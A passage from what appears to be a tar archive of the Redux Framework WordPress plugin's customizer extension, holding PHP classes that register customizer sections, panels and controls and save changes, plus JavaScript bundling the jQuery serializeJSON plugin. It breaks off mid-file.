'new/header-control.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/header-models.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/jquery.slimscroll.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/jquery.ui.droppable.min.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/media-editor.min.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/new-customizer.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/previewing.js'."'></script>"; //echo "<script type='text/javascript' src='".$this->_extension_url . 'new/theme-customizer.js'."'></script>"; /* wp_enqueue_script('redux-extension-customizer-codemirror-js', $this->_extension_url . 'new/codemirror.min.js'); wp_enqueue_script('redux-extension-customizer-color-js', $this->_extension_url . 'new/colors-control.js'); wp_enqueue_script('redux-extension-customizer-controls-js', $this->_extension_url . 'new/customizer-control.js'); wp_enqueue_script('redux-extension-customizer-fonts-js', $this->_extension_url . 'new/fonts-customizer-admin.js'); wp_enqueue_script('redux-extension-customizer-header-js', $this->_extension_url . 'new/header-control.js'); wp_enqueue_script('redux-extension-customizer-models-js', $this->_extension_url . 'new/header-models.js'); wp_enqueue_script('redux-extension-customizer-slimscroll-js', $this->_extension_url . 'new/jquery.slimscroll.js'); wp_enqueue_script('redux-extension-customizer-droppable-js', $this->_extension_url . 'new/jquery.ui.droppable.min.js'); wp_enqueue_script('redux-extension-customizer-editor-js', $this->_extension_url . 'new/media-editor.min.js'); wp_enqueue_script('redux-extension-customizer-new-js', $this->_extension_url . 'new/new-customizer.js'); wp_enqueue_script('redux-extension-customizer-previewing-js', $this->_extension_url . 'new/previewing.js'); wp_enqueue_script('redux-extension-customizer-theme-js', $this->_extension_url . 'new/theme-customizer.js'); */ } public function render( $control ) { $fieldID = str_replace( $this->parent->args['opt_name'] . '-', '', $control->redux_id ); $field = $this->options[ $fieldID ]; if ( isset( $field['compiler'] ) && ! empty( $field['compiler'] ) ) { echo '<tr class="compiler">'; } else { echo '<tr>'; } echo '<th scope="row">' . $this->parent->field_head[ $field['id'] ] . '</th>'; echo '<td>'; //$field['data-customize-setting-link'] = array( // 'name' => $field['name'], // 'suffix' => isset($field['name_suffix']) ? $field['name_suffix'] : '' //); // $field['name'] = $field['id']; $this->parent->_field_input( $field ); echo '</td>'; echo '</tr>'; } // All sections, settings, and controls will be added here public function _register_customizer_controls( $wp_customize ) { if ( ! class_exists( 'Redux_Customizer_Section' ) ) { require_once dirname( __FILE__ ) . '/inc/customizer_section.php'; if ( method_exists( $wp_customize, 'register_section_type' ) ) { $wp_customize->register_section_type( 'Redux_Customizer_Section' ); } } if ( ! class_exists( 'Redux_Customizer_Panel' ) ) { require_once dirname( __FILE__ ) . '/inc/customizer_panel.php'; if ( method_exists( $wp_customize, 'register_panel_type' ) ) { $wp_customize->register_panel_type( 'Redux_Customizer_Panel' ); } } if ( ! class_exists( 'Redux_Customizer_Control' ) ) { require_once dirname( __FILE__ ) . '/inc/customizer_control.php'; } require_once dirname( __FILE__ ) . '/inc/customizer_fields.php'; require_once dirname( __FILE__ ) . '/inc/customizer_devs.php'; do_action( "redux/extension/customizer/control/includes" ); //if ($this->parent->args['dev_mode']) { // $section = new Redux_Customizer_rAds( $wp_customize, 'redux_rAds', array( // 'priority' => 0, // ) ); // $wp_customize->add_section( $section, array( // 'priority' => 0, // ) ); // // //$wp_customize->add_control( new Redux_Customizer_Control_rAds( $wp_customize, 'reduxAdsDisplay', array( // // 'section' => 'redux_rAds', // // 'settings' => 'redux_rAds_field', // // 'type' => 'redux-rAds', // //) ) ); // // // // //} if ( $this->parent->args['dev_mode'] ) { //$args = array( // 'priority' => 0, //); ////$section = new Redux_Customizer_Section( $wp_customize, 'redux_rAds', $args ); ////$wp_customize->add_section( $section, $args ); //$this->add_section( 'redux_rAds', array( // 'title' => '', // 'priority' => 1, // 'description' => '', // 'capability' => 'edit_theme_options', //), $wp_customize ); // //$wp_customize->add_control( new WP_Customize_Color_Control( // $wp_customize, // 'redux_rAds_display', // array( // 'section' => 'redux_rAds', // 'settings' => 'redux_rAds_display', // ) //)); ////$wp_customize->add_control( new Redux_Customizer_Control_rAds( $wp_customize, 'reduxAdsDisplay', array( //// 'section' => 'redux_rAds', //// 'settings' => 'redux_rAds_field', //// 'type' => 'redux-rAds', ////) ) ); //start copyright settings //$section = new Redux_Customizer_section_rAds( $wp_customize, 'redux_rAds', array( // 'priority' => -999, //) ); //$wp_customize->add_section( $section, array( // 'priority' => -999, //) ); //$wp_customize->add_setting( // 'redux_rAds_empty' //); //$wp_customize->add_control( // new Redux_Customizer_Control_rAds( // $wp_customize, // 'redux_rAds_empty', // array( // 'section' => 'redux_rAds', // 'settings' => 'redux_rAds_empty' // ) // ) //); } $order = array( 'heading' => - 500, 'option' => - 500, ); $defaults = array( 'default-color' => '', 'default-image' => '', 'wp-head-callback' => '', 'admin-head-callback' => '', 'admin-preview-callback' => '' ); $panel = ""; $this->parent->args['options_api'] = false; $this->parent->_register_settings(); foreach ( $this->parent->sections as $key => $section ) { // Not a type that should go on the customizer if ( isset( $section['type'] ) && ( $section['type'] == "divide" ) ) { continue; } if ( isset( $section['id'] ) && $section['id'] == "import/export" ) { continue; } // If section customizer is set to false if ( isset( $section['customizer'] ) && $section['customizer'] === false ) { continue; } $section['permissions'] = isset( $section['permissions'] ) ? $section['permissions'] : 'edit_theme_options'; // No errors please if ( ! isset( $section['desc'] ) ) { $section['desc'] = ""; } // Fill the description if there is a subtitle if ( empty( $section['desc'] ) && ! empty( $section['subtitle'] ) ) { $section['desc'] = $section['subtitle']; } // Let's make a section ID from the title if ( empty( $section['id'] ) ) { $section['id'] = strtolower( str_replace( " ", "", $section['title'] ) ); } // No title is present, let's show what section is missing a title if ( ! isset( $section['title'] ) ) { $section['title'] = ""; } // Let's set a default priority if ( empty( $section['priority'] ) ) { $section['priority'] = $order['heading']; $order['heading'] ++; } //print_r($section); //print_r($this->parent->sections[$key+1]); //echo $key; //exit(); if ( method_exists( $wp_customize, 'add_panel' ) && ( ! isset( $section['subsection'] ) || ( isset( $section['subsection'] ) && $section['subsection'] != true ) ) && isset( $this->parent->sections[ ( $key + 1 ) ]['subsection'] ) && $this->parent->sections[ ( $key + 1 ) ]['subsection'] ) { $this->add_panel( $section['id'], array( 'priority' => $section['priority'], 'capability' => $section['permissions'], //'theme_supports' => '', 'title' => $section['title'], 'section' => $section, 'opt_name' => $this->parent->args['opt_name'], 'description' => '', ), $wp_customize ); $panel = $section['id']; $this->add_section( $section['id'], array( 'title' => $section['title'], 'priority' => $section['priority'], 'description' => $section['desc'], 'section' => $section, 'opt_name' => $this->parent->args['opt_name'], 'capability' => $section['permissions'], 'panel' => $panel ), $wp_customize ); } else { if ( ! isset( $section['subsection'] ) || ( isset( $section['subsection'] ) && $section['subsection'] != true ) ) { $panel = ""; } $this->add_section( $section['id'], array( 'title' => $section['title'], 'priority' => $section['priority'], 'description' => $section['desc'], 'opt_name' => $this->parent->args['opt_name'], 'section' => $section, 'capability' => $section['permissions'], 'panel' => $panel ), $wp_customize ); } if ( ! isset( $section['fields'] ) || ( isset( $section['fields'] ) && empty( $section['fields'] ) ) ) { continue; } foreach ( $section['fields'] as $skey => $option ) { if ( isset( $option['customizer'] ) && $option['customizer'] === false ) { continue; } if ( $this->parent->args['customizer'] === false && ( ! isset( $option['customizer'] ) || $option['customizer'] !== true ) ) { continue; } $this->options[ $option['id'] ] = $option; add_action( 'redux/advanced_customizer/control/render/' . $this->parent->args['opt_name'] . '-' . $option['id'], array( $this, 'render' ) ); $option['permissions'] = isset( $option['permissions'] ) ? $option['permissions'] : 'edit_theme_options'; // //if ( isset( $option['validate_callback'] ) && ! empty( $option['validate_callback'] ) ) { // continue; //} //Change the item priority if not set if ( $option['type'] != 'heading' && ! isset( $option['priority'] ) ) { $option['priority'] = $order['option']; $order['option'] ++; } if ( ! empty( $this->options_defaults[ $option['id'] ] ) ) { $option['default'] = $this->options_defaults['option']['id']; } //$option['id'] = $this->parent->args['opt_name'].'['.$option['id'].']'; //echo $option['id']; if ( ! isset( $option['default'] ) ) { $option['default'] = ""; } if ( ! isset( $option['title'] ) ) { $option['title'] = ""; } $option['id'] = $this->parent->args['opt_name'] . '[' . $option['id'] . ']'; if ( $option['type'] != "heading" && $option['type'] != "import_export" && ! empty( $option['type'] ) ) { $wp_customize->add_setting( $option['id'], array( 'default' => $option['default'], //'type' => 'option', //'capabilities' => $option['permissions'], //'capabilities' => 'edit_theme_options', //'capabilities' => $this->parent->args['page_permissions'], 'transport' => 'refresh', 'opt_name' => $this->parent->args['opt_name'], //'theme_supports' => '', //'sanitize_callback' => '__return_false', 'sanitize_callback' => array( $this, '_field_validation' ), //'sanitize_js_callback' =>array( &$parent, '_field_input' ), ) ); } if ( ! empty( $option['data'] ) && empty( $option['options'] ) ) { if ( empty( $option['args'] ) ) { $option['args'] = array(); } if ( $option['data'] == "elusive-icons" || $option['data'] == "elusive-icon" || $option['data'] == "elusive" ) { $icons_file = ReduxFramework::$_dir . 'inc/fields/select/elusive-icons.php'; $icons_file = apply_filters( 'redux-font-icons-file', $icons_file ); if ( file_exists( $icons_file ) ) { require_once $icons_file; } } $option['options'] = $this->parent->get_wordpress_data( $option['data'], $option['args'] ); } $class_name = 'Redux_Customizer_Control_' . $option['type']; do_action( 'redux/extension/customizer/control_init', $option ); if ( ! class_exists( $class_name ) ) { continue; } $wp_customize->add_control( new $class_name( $wp_customize, $option['id'], array( 'label' => $option['title'], 'section' => $section['id'], 'settings' => $option['id'], 'type' => 'redux-' . $option['type'], 'field' => $option, 'ReduxFramework' => $this->parent, 'active_callback' => ( isset( $option['required'] ) && class_exists( 'Redux_Customizer_Active_Callback' ) ) ? array( 'Redux_Customizer_Active_Callback', 'evaluate' ) : '__return_true', 'priority' => $option['priority'], ) ) ); $section['fields'][ $skey ]['name'] = $option['id']; if ( ! isset ( $section['fields'][ $skey ]['class'] ) ) { // No errors please $section['fields'][ $skey ]['class'] = ""; } $this->controls[ $section['fields'][ $skey ]['id'] ] = $section['fields'][ $skey ]; add_action( 'redux/advanced_customizer/render/' . $option['id'], array( $this, 'field_render' ), $option['priority'] ); } } } public function add_section( $id, $args, $wp_customize ) { if ( empty( $args ) ) { $args = array(); } if ( is_a( $id, 'WP_Customize_Section' ) ) { $section = $id; } else { $section_class = apply_filters( 'redux/customizer/section/class_name', "Redux_Customizer_Section" ); $section = new $section_class( $wp_customize, $id, $args ); } $wp_customize->add_section( $section, $args ); } /** * Add a customize panel. * * @since 4.0.0 * @access public * * @param WP_Customize_Panel|string $id Customize Panel object, or Panel ID. * @param array $args Optional. Panel arguments. Default empty array. */ public function add_panel( $id, $args , $wp_customize ) { if ( empty( $args ) ) { $args = array(); } if ( is_a( $id, 'WP_Customize_Panel' ) ) { $panel = $id; } else { $panel_class = apply_filters( 'redux/customizer/panel/class_name', "Redux_Customizer_Panel" ); $panel = new $panel_class( $wp_customize, $id, $args ); } $wp_customize->add_panel( $panel, $args ); } public function field_render( $option ) { echo '1'; preg_match_all( "/\[([^\]]*)\]/", $option->id, $matches ); $id = $matches[1][0]; echo $option->link(); //$link = $option->link(); //echo $link; $this->parent->_field_input( $this->controls[ $id ] ); echo '2'; } public function customizer_save_before( $plugin_options ) { $this->before_save = $this->parent->options; //$parent->_field_input( $plugin_options ); } public function customizer_save_after( $wp_customize ) { if ( empty( $this->parent->options ) ) { $this->parent->get_options(); } if ( empty( $this->orig_options ) && ! empty( $this->parent->options ) ) { $this->orig_options = $this->parent->options; } $options = json_decode( stripslashes_deep( $_POST['customized'] ), true ); $compiler = false; $changed = false; foreach ( $options as $key => $value ) { if ( strpos( $key, $this->parent->args['opt_name'] ) !== false ) { $key = str_replace( $this->parent->args['opt_name'] . '[', '', rtrim( $key, "]" ) ); if ( ! isset( $this->orig_options[ $key ] ) || $this->orig_options[ $key ] != $value || ( isset( $this->orig_options[ $key ] ) && ! empty( $this->orig_options[ $key ] ) && empty( $value ) ) ) { $this->parent->options[ $key ] = $value; $changed = true; if ( isset( $this->parent->compiler_fields[ $key ] ) ) { $compiler = true; } } } } if ( $changed ) { $this->parent->set_options( $this->parent->options ); if ( $compiler ) { // Have to set this to stop the output of the CSS and typography stuff. $this->parent->no_output = true; $this->parent->_enqueue_output(); do_action( "redux/options/{$this->parent->args['opt_name']}/compiler", $this->parent->options, $this->parent->compilerCSS ); do_action( "redux/options/{$this->args['opt_name']}/compiler/advanced", $this->parent ); } } } /** * Enqueue CSS/JS for preview pane * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue_previewer() { wp_enqueue_script( 'redux-extension-previewer-js', $this->_extension_url . 'assets/js/preview.js' ); $localize = array( 'save_pending' => __( 'You have changes that are not saved. Would you like to save them now?', 'redux-framework' ), 'reset_confirm' => __( 'Are you sure? Resetting will lose all custom values.', 'redux-framework' ), 'preset_confirm' => __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'redux-framework' ), 'opt_name' => $this->args['opt_name'], //'folds' => $this->folds, 'options' => $this->parent->options, 'defaults' => $this->parent->options_defaults, ); wp_localize_script( 'redux-extension-previewer-js', 'reduxPost', $localize ); } /** * Enqueue CSS/JS for the customizer controls * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue() { global $wp_styles; //wp_enqueue_style( 'wp-pointer' ); //wp_enqueue_script( 'wp-pointer' ); // Remove when code is in place! //wp_enqueue_script('redux-extension-customizer-js', $this->_extension_url . 'assets/js/customizer.js'); // Get styles //wp_enqueue_style('redux-extension-customizer-css', $this->_extension_url . 'assets/css/customizer.css'); $localize = array( 'save_pending' => __( 'You have changes that are not saved. Would you like to save them now?', 'redux-framework' ), 'reset_confirm' => __( 'Are you sure? Resetting will lose all custom values.', 'redux-framework' ), 'preset_confirm' => __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'redux-framework' ), 'opt_name' => $this->args['opt_name'], //'folds' => $this->folds, 'field' => $this->parent->options, 'defaults' => $this->parent->options_defaults, ); // Values used by the javascript wp_localize_script( 'redux-js', 'redux_opts', $localize ); do_action( 'redux-enqueue-' . $this->args['opt_name'] ); foreach ( $this->sections as $section ) { if ( isset( $section['fields'] ) ) { foreach ( $section['fields'] as $field ) { if ( isset( $field['type'] ) ) { $field_class = 'ReduxFramework_' . $field['type']; if ( ! class_exists( $field_class ) ) { $class_file = apply_filters( 'redux-typeclass-load', $this->path . 'inc/fields/' . $field['type'] . '/field_' . $field['type'] . '.php', $field_class ); if ( $class_file ) { /** @noinspection PhpIncludeInspection */ require_once( $class_file ); } } if ( class_exists( $field_class ) && method_exists( $field_class, 'enqueue' ) ) { $enqueue = new $field_class( '', '', $this ); $enqueue->enqueue(); } } } } } } /** * Register Option for use * * @since 1.0.0 * @access public * @return void */ public function _register_setting() { } /** * Validate the options before insertion * * @since 3.0.0 * @access public * * @param array $plugin_options The options array * * @return */ public function _field_validation( $value ) { //print_r( $value ); //print_r( $_POST ); return $value; //return $this->parent->_validate_options( $plugin_options ); } /** * HTML OUTPUT. * * @since 1.0.0 * @access public * @return void */ public function _customizer_html_output() { } } // class function redux_customizer_custom_validation( $field ) { return $field; } } // if ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/extension_customizer.js�����������������������������������0000644�����������������00000043360�14720701300�0021700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global jQuery, document, redux, redux_change, setting */ /*! SerializeJSON jQuery plugin. https://github.com/marioizquierdo/jquery.serializeJSON version 2.6.0 (Apr, 2015) Copyright (c) 2012, 2015 Mario Izquierdo Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses. */ (function( $ ) { "use strict"; // jQuery('form').serializeJSON() $.fn.serializeJSON = function( options ) { var serializedObject, formAsArray, keys, type, value, _ref, f, opts; f = $.serializeJSON; opts = f.setupOpts( options ); // calculate values for options {parseNumbers, parseBoolens, parseNulls} formAsArray = this.serializeArray(); // array of objects {name, value} f.readCheckboxUncheckedValues( formAsArray, this, opts ); // add {name, value} of unchecked checkboxes if needed serializedObject = {}; $.each( formAsArray, function( i, input ) { keys = f.splitInputNameIntoKeysArray( input.name, opts ); type = keys.pop(); // the last element is always the type ("string" by default) if ( type !== 'skip' ) { // easy way to skip a value value = f.parseValue( input.value, type, opts ); // string, number, boolean or null if ( opts.parseWithFunction && type === '_' ) value = opts.parseWithFunction( value, input.name ); // allow for custom parsing f.deepSet( serializedObject, keys, value, opts ); } } ); return serializedObject; }; // Use $.serializeJSON as namespace for the auxiliar functions // and to define defaults $.serializeJSON = { defaultOptions: { checkboxUncheckedValue: undefined, // to include that value for unchecked checkboxes (instead of ignoring them) parseNumbers: false, // convert values like "1", "-2.33" to 1, -2.33 parseBooleans: false, // convert "true", "false" to true, false parseNulls: false, // convert "null" to null parseAll: false, // all of the above parseWithFunction: null, // to use custom parser, a function like: function(val){ return parsed_val; } customTypes: {}, // override defaultTypes defaultTypes: { string: function( str ) { return String( str ); }, number: function( str ) { return Number( str ); }, boolean: function( str ) { return (["false", "null", "undefined", "", "0"].indexOf( str ) === -1); }, null: function( str ) { return (["false", "null", "undefined", "", "0"].indexOf( str ) !== -1) ? null : str; }, array: function( str ) { return JSON.parse( str ); }, object: function( str ) { return JSON.parse( str ); }, auto: function( str ) { return $.serializeJSON.parseValue( str, null, {parseNumbers: true, parseBooleans: true, parseNulls: true} ); } // try again with something like "parseAll" }, useIntKeysAsArrayIndex: false, // name="foo[2]" value="v" => {foo: [null, null, "v"]}, instead of {foo: ["2": "v"]} }, // Merge option defaults into the options setupOpts: function( options ) { var opt, validOpts, defaultOptions, optWithDefault, parseAll, f; f = $.serializeJSON; if ( options === null || options === undefined ) options = {}; // options ||= {} defaultOptions = f.defaultOptions || {}; // defaultOptions // Make sure that the user didn't misspell an option validOpts = ['checkboxUncheckedValue', 'parseNumbers', 'parseBooleans', 'parseNulls', 'parseAll', 'parseWithFunction', 'customTypes', 'defaultTypes', 'useIntKeysAsArrayIndex']; // re-define because the user may override the defaultOptions for ( opt in options ) { if ( validOpts.indexOf( opt ) === -1 ) { throw new Error( "serializeJSON ERROR: invalid option '" + opt + "'. Please use one of " + validOpts.join( ', ' ) ); } } // Helper to get the default value for this option if none is specified by the user optWithDefault = function( key ) { return (options[key] !== false) && (options[key] !== '') && (options[key] || defaultOptions[key]); }; // Return computed options (opts to be used in the rest of the script) parseAll = optWithDefault( 'parseAll' ); return { checkboxUncheckedValue: optWithDefault( 'checkboxUncheckedValue' ), parseNumbers: parseAll || optWithDefault( 'parseNumbers' ), parseBooleans: parseAll || optWithDefault( 'parseBooleans' ), parseNulls: parseAll || optWithDefault( 'parseNulls' ), parseWithFunction: optWithDefault( 'parseWithFunction' ), typeFunctions: $.extend( {}, optWithDefault( 'defaultTypes' ), optWithDefault( 'customTypes' ) ), useIntKeysAsArrayIndex: optWithDefault( 'useIntKeysAsArrayIndex' ), }; }, // Given a string, apply the type or the relevant "parse" options, to return the parsed value parseValue: function( str, type, opts ) { var typeFunction, f; f = $.serializeJSON; // Parse with a type if available typeFunction = opts.typeFunctions && opts.typeFunctions[type]; if ( typeFunction ) return typeFunction( str ); // use specific type // Otherwise, check if there is any auto-parse option enabled and use it. if ( opts.parseNumbers && f.isNumeric( str ) ) return Number( str ); // auto: number if ( opts.parseBooleans && (str === "true" || str === "false") ) return str === "true"; // auto: boolean if ( opts.parseNulls && str == "null" ) return null; // auto: null // If none applies, just return the str return str; }, isObject: function( obj ) { return obj === Object( obj ); }, // is this variable an object? isUndefined: function( obj ) { return obj === void 0; }, // safe check for undefined values isValidArrayIndex: function( val ) { return /^[0-9]+$/.test( String( val ) ); }, // 1,2,3,4 ... are valid array indexes isNumeric: function( obj ) { return obj - parseFloat( obj ) >= 0; }, // taken from jQuery.isNumeric implementation. Not using jQuery.isNumeric to support old jQuery and Zepto versions optionKeys: function( obj ) { if ( Object.keys ) { return Object.keys( obj ); } else { var keys = []; for ( var key in obj ) { keys.push( key ); } return keys; } }, // polyfill Object.keys to get option keys in IE<9 // Split the input name in programatically readable keys. // The last element is always the type (default "_"). // Examples: // "foo" => ['foo', '_'] // "foo:string" => ['foo', 'string'] // "foo:boolean" => ['foo', 'boolean'] // "[foo]" => ['foo', '_'] // "foo[inn][bar]" => ['foo', 'inn', 'bar', '_'] // "foo[inn[bar]]" => ['foo', 'inn', 'bar', '_'] // "foo[inn][arr][0]" => ['foo', 'inn', 'arr', '0', '_'] // "arr[][val]" => ['arr', '', 'val', '_'] // "arr[][val]:null" => ['arr', '', 'val', 'null'] splitInputNameIntoKeysArray: function( name, opts ) { var keys, nameWithoutType, type, _ref, f; f = $.serializeJSON; _ref = f.extractTypeFromInputName( name, opts ), nameWithoutType = _ref[0], type = _ref[1]; keys = nameWithoutType.split( '[' ); // split string into array keys = $.map( keys, function( key ) { return key.replace( /]/g, '' ); } ); // remove closing brackets if ( keys[0] === '' ) { keys.shift(); } // ensure no opening bracket ("[foo][inn]" should be same as "foo[inn]") keys.push( type ); // add type at the end return keys; }, // Returns [name-without-type, type] from name. // "foo" => ["foo", '_'] // "foo:boolean" => ["foo", 'boolean'] // "foo[bar]:null" => ["foo[bar]", 'null'] extractTypeFromInputName: function( name, opts ) { var match, validTypes, f; if ( match = name.match( /(.*):([^:]+)$/ ) ) { f = $.serializeJSON; validTypes = f.optionKeys( opts ? opts.typeFunctions : f.defaultOptions.defaultTypes ); validTypes.push( 'skip' ); // skip is a special type that makes it easy to remove if ( validTypes.indexOf( match[2] ) !== -1 ) { return [match[1], match[2]]; } else { throw new Error( "serializeJSON ERROR: Invalid type " + match[2] + " found in input name '" + name + "', please use one of " + validTypes.join( ', ' ) ) } } else { return [name, '_']; // no defined type, then use parse options } }, // Set a value in an object or array, using multiple keys to set in a nested object or array: // // deepSet(obj, ['foo'], v) // obj['foo'] = v // deepSet(obj, ['foo', 'inn'], v) // obj['foo']['inn'] = v // Create the inner obj['foo'] object, if needed // deepSet(obj, ['foo', 'inn', '123'], v) // obj['foo']['arr']['123'] = v // // // deepSet(obj, ['0'], v) // obj['0'] = v // deepSet(arr, ['0'], v, {useIntKeysAsArrayIndex: true}) // arr[0] = v // deepSet(arr, [''], v) // arr.push(v) // deepSet(obj, ['arr', ''], v) // obj['arr'].push(v) // // arr = []; // deepSet(arr, ['', v] // arr => [v] // deepSet(arr, ['', 'foo'], v) // arr => [v, {foo: v}] // deepSet(arr, ['', 'bar'], v) // arr => [v, {foo: v, bar: v}] // deepSet(arr, ['', 'bar'], v) // arr => [v, {foo: v, bar: v}, {bar: v}] // deepSet: function( o, keys, value, opts ) { var key, nextKey, tail, lastIdx, lastVal, f; if ( opts == null ) opts = {}; f = $.serializeJSON; if ( f.isUndefined( o ) ) { throw new Error( "ArgumentError: param 'o' expected to be an object or array, found undefined" ); } if ( !keys || keys.length === 0 ) { throw new Error( "ArgumentError: param 'keys' expected to be an array with least one element" ); } key = keys[0]; // Only one key, then it's not a deepSet, just assign the value. if ( keys.length === 1 ) { if ( key === '' ) { o.push( value ); // '' is used to push values into the array (assume o is an array) } else { o[key] = value; // other keys can be used as object keys or array indexes } // With more keys is a deepSet. Apply recursively. } else { nextKey = keys[1]; // '' is used to push values into the array, // with nextKey, set the value into the same object, in object[nextKey]. // Covers the case of ['', 'foo'] and ['', 'var'] to push the object {foo, var}, and the case of nested arrays. if ( key === '' ) { lastIdx = o.length - 1; // asume o is array lastVal = o[lastIdx]; if ( f.isObject( lastVal ) && (f.isUndefined( lastVal[nextKey] ) || keys.length > 2) ) { // if nextKey is not present in the last object element, or there are more keys to deep set key = lastIdx; // then set the new value in the same object element } else { key = lastIdx + 1; // otherwise, point to set the next index in the array } } // '' is used to push values into the array "array[]" if ( nextKey === '' ) { if ( f.isUndefined( o[key] ) || !$.isArray( o[key] ) ) { o[key] = []; // define (or override) as array to push values } } else { if ( opts.useIntKeysAsArrayIndex && f.isValidArrayIndex( nextKey ) ) { // if 1, 2, 3 ... then use an array, where nextKey is the index if ( f.isUndefined( o[key] ) || !$.isArray( o[key] ) ) { o[key] = []; // define (or override) as array, to insert values using int keys as array indexes } } else { // for anything else, use an object, where nextKey is going to be the attribute name if ( f.isUndefined( o[key] ) || !f.isObject( o[key] ) ) { o[key] = {}; // define (or override) as object, to set nested properties } } } // Recursively set the inner object tail = keys.slice( 1 ); f.deepSet( o[key], tail, value, opts ); } }, // Fill the formAsArray object with values for the unchecked checkbox inputs, // using the same format as the jquery.serializeArray function. // The value of the unchecked values is determined from the opts.checkboxUncheckedValue // and/or the data-unchecked-value attribute of the inputs. readCheckboxUncheckedValues: function( formAsArray, $form, opts ) { var selector, $uncheckedCheckboxes, $el, dataUncheckedValue, f; if ( opts == null ) opts = {}; f = $.serializeJSON; selector = 'input[type=checkbox][name]:not(:checked):not([disabled])'; $uncheckedCheckboxes = $form.find( selector ).add( $form.filter( selector ) ); $uncheckedCheckboxes.each( function( i, el ) { $el = $( el ); dataUncheckedValue = $el.attr( 'data-unchecked-value' ); if ( dataUncheckedValue ) { // data-unchecked-value has precedence over option opts.checkboxUncheckedValue formAsArray.push( {name: el.name, value: dataUncheckedValue} ); } else { if ( !f.isUndefined( opts.checkboxUncheckedValue ) ) { formAsArray.push( {name: el.name, value: opts.checkboxUncheckedValue} ); } } } ); } }; }( window.jQuery || window.$ )); (function( $ ) { //This functions first parameter is named $ 'use strict'; redux.customizer = redux.customizer || {}; $( document ).ready( function() { redux.customizer.init(); } ); redux.customizer.init = function() { $( 'body' ).addClass( redux_customizer.body_class ); $( '.accordion-section.redux-section, .accordion-section.redux-panel, .accordion-section-title' ).click( function() { $.redux.initFields(); } ); redux.args.disable_save_warn = true; var reduxChange = redux_change; redux_change = function( variable ) { variable = $( variable ); reduxChange.apply( this, arguments ); redux.customizer.save( variable ) }; var redux_initFields = $.redux.initFields; $.redux.initFiles = function() { redux_initFields(); } }; redux.customizer.save = function( $obj ) { var $parent = $obj.hasClass( 'redux-field' ) ? $obj : $obj.parents( '.redux-field-container:first' ); redux.customizer.inputSave( $parent ); }; redux.customizer.inputSave = function( $parent ) { if ( !$parent.hasClass( 'redux-field-container' ) ) { $parent = $parent.parents( '[class^="redux-field-container"]' ); } var $id = $parent.parent().find( '.redux-customizer-input' ).data( 'id' ); if ( !$id ) { $parent = $parent.parents( '.redux-container-repeater:first' ); var $id = $parent.parent().find( '.redux-customizer-input' ).data( 'id' ); } //var $nData = $parent.serializeJSON(); var $nData = $parent.find( ':input' ).serializeJSON(); $.each( $nData, function( $k, $v ) { $nData = $v; } ); var $key = $parent.parent().find( '.redux-customizer-input' ).data( 'key' ); if ( $nData[$key] ) { $nData = $nData[$key]; } var $control = wp.customize.control( $id ); // Customizer hack since they didn't code it to save order... if ( JSON.stringify( $control.setting._value ) !== JSON.stringify( $nData ) ) { $control.setting._value = null; } $control.setting.set( $nData ); } })( jQuery );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/inc/customizer_fields.php���������������������������������0000644�����������������00000004104�14720701300�0022047 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class Redux_Customizer_Control_checkbox extends Redux_Customizer_Control { public $type = "redux-checkbox"; } class Redux_Customizer_Control_color_rgba extends Redux_Customizer_Control { public $type = "redux-color_rgba"; } class Redux_Customizer_Control_color extends Redux_Customizer_Control { public $type = "redux-color"; } //class Redux_Customizer_Control_raw extends Redux_Customizer_Control { // public $type = "redux-raw"; //} class Redux_Customizer_Control_media extends Redux_Customizer_Control { public $type = "redux-media"; } class Redux_Customizer_Control_spinner extends Redux_Customizer_Control { public $type = "redux-spinner"; } class Redux_Customizer_Control_palette extends Redux_Customizer_Control { public $type = "redux-palette"; } class Redux_Customizer_Control_button_set extends Redux_Customizer_Control { public $type = "redux-button_set"; } class Redux_Customizer_Control_image_select extends Redux_Customizer_Control { public $type = "redux-image_select"; } class Redux_Customizer_Control_radio extends Redux_Customizer_Control { public $type = "redux-radio"; } class Redux_Customizer_Control_select extends Redux_Customizer_Control { public $type = "redux-select"; } class Redux_Customizer_Control_gallery extends Redux_Customizer_Control { public $type = "redux-gallery"; } class Redux_Customizer_Control_slider extends Redux_Customizer_Control { public $type = "redux-slider"; } class Redux_Customizer_Control_sortable extends Redux_Customizer_Control { public $type = "redux-sortable"; } class Redux_Customizer_Control_switch extends Redux_Customizer_Control { public $type = "redux-switch"; } class Redux_Customizer_Control_text extends Redux_Customizer_Control { public $type = "redux-text"; } class Redux_Customizer_Control_textarea extends Redux_Customizer_Control { public $type = "redux-textarea"; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/customizer/inc/customizer_section.php��������������������������������0000644�����������������00000013703�14720701300�0022252 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Customizer section representing widget area (sidebar). * * @package WordPress * @subpackage Customize * @since 4.1.0 * @see WP_Customize_Section */ class Redux_Customizer_Section extends WP_Customize_Section { /** * Type of this section. * * @since 4.1.0 * @access public * @var string */ public $type = 'redux'; /** * Constructor. * Any supplied $args override class property defaults. * * @since 3.4.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id An specific ID of the section. * @param array $args Section arguments. */ public function __construct( 